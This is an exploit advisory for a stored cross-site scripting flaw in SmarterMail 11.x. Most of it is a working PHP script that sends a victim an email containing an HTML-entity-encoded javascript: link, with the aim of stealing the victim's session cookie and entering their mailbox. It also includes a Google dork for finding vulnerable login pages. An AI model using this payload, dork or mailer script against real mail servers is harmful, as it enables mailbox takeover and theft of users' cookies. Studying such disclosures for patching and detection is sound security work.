SmarterMail 11.x Cross Site Scripting

2014-01-16 / 2014-02-10
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

<?php /* # Exploit Title: SmarterMail Enterprise and Standard <=11.x Stored XSS # Google Dork: intext:"SmarterTools Inc." inurl:login.aspx # Date: 15 Jan 2014 # Exploit Author: Saeed reza Zamanian [s.zamanian [AT] imenantivirus.com] # Vendor Homepage: http://www.smartertools.com/ # Software Link (Standard Version): http://www.smartertools.com/smartermail/mail-server-download.aspx # Version: <= 11.x # Tested on: Windows 2008 R2 HTTPServer[Microsoft-IIS/7.5] ASP_NET[4.0.30319] # CVE : vendor id=2560 Greetz: H.Zamanian, K.Kia, K.Khani WebApp Desciption: SmarterMail delivers Exchange-level email server software and instant messaging for a fraction of the cost. With lower hardware requirements, superior stability and reduced maintenance costs, SmarterMail has significantly lower TCO and is the best-in-class of Microsoft Exchange alternative for businesses and hosting companies. Vulnerability Description: XSS codes can be stored in E-Mail Body. So you can send an email to the Victim with below payload and steal the victim's cookie. <a href=&#106;&#97;&#118;&#97;&#83;&#99;&#82;&#105;&#112;&#116;:alert(document.cookie)>Click Me, Please...</a>\r\n NOTE: javascript html char encode = &#106;&#97;&#118;&#97;&#83;&#99;&#82;&#105;&#112;&#116; then you will be able to get into the victim's mailbox via the url: http://[WebSite]/[Smarter]/Default.aspx ## I used phpmailer class for beside of the exploit so you need to download it here and run the exploit in the phpmailer directory: http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list */ echo "<title>SmarterMail Enterprise and Standard <= 11.X XSS Exploit</title>"; require_once('class.phpmailer.php'); $mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch $mail->IsSMTP(); // telling the class to use SMTP /* SETTINGS */ $smtp_user = "attacker[at]email.com"; // any valid smtp account $smtp_pass = "PASSWORD"; // Your PASSWORD $smtp_port = "25"; // SMTP PORT Default: 25 $smtp_host = "mail.email.com"; // any valid smtp server $victim = "victim@mail.com"; $subject = "Salam"; $body = '<a href=&#106;&#97;&#118;&#97;&#83;&#99;&#82;&#105;&#112;&#116;:alert("XSS")>Click Me, Please...</a>\r\n'; try { $mail->SMTPDebug = 2; // enables SMTP debug information (for testing) $mail->SMTPAuth = true; // enable SMTP authentication $mail->Host = $smtp_host; $mail->Port = $smtp_port; $mail->Username = $smtp_user; // SMTP account username $mail->Password = $smtp_pass; // SMTP account password $mail->SetFrom($smtp_user, 'Attacker'); $mail->AddReplyTo($smtp_user, 'Attacker'); $mail->AddAddress($victim, 'Victim'); $mail->Subject = $subject; $mail->MsgHTML($body); $mail->Send(); echo "Message Sent OK</p>\n"; } catch (phpmailerException $e) { echo $e->errorMessage(); } catch (Exception $e) { echo $e->getMessage(); } ?> </body> </html>

References:

http://www.smartertools.com/smartermail/mail-server-download.aspx


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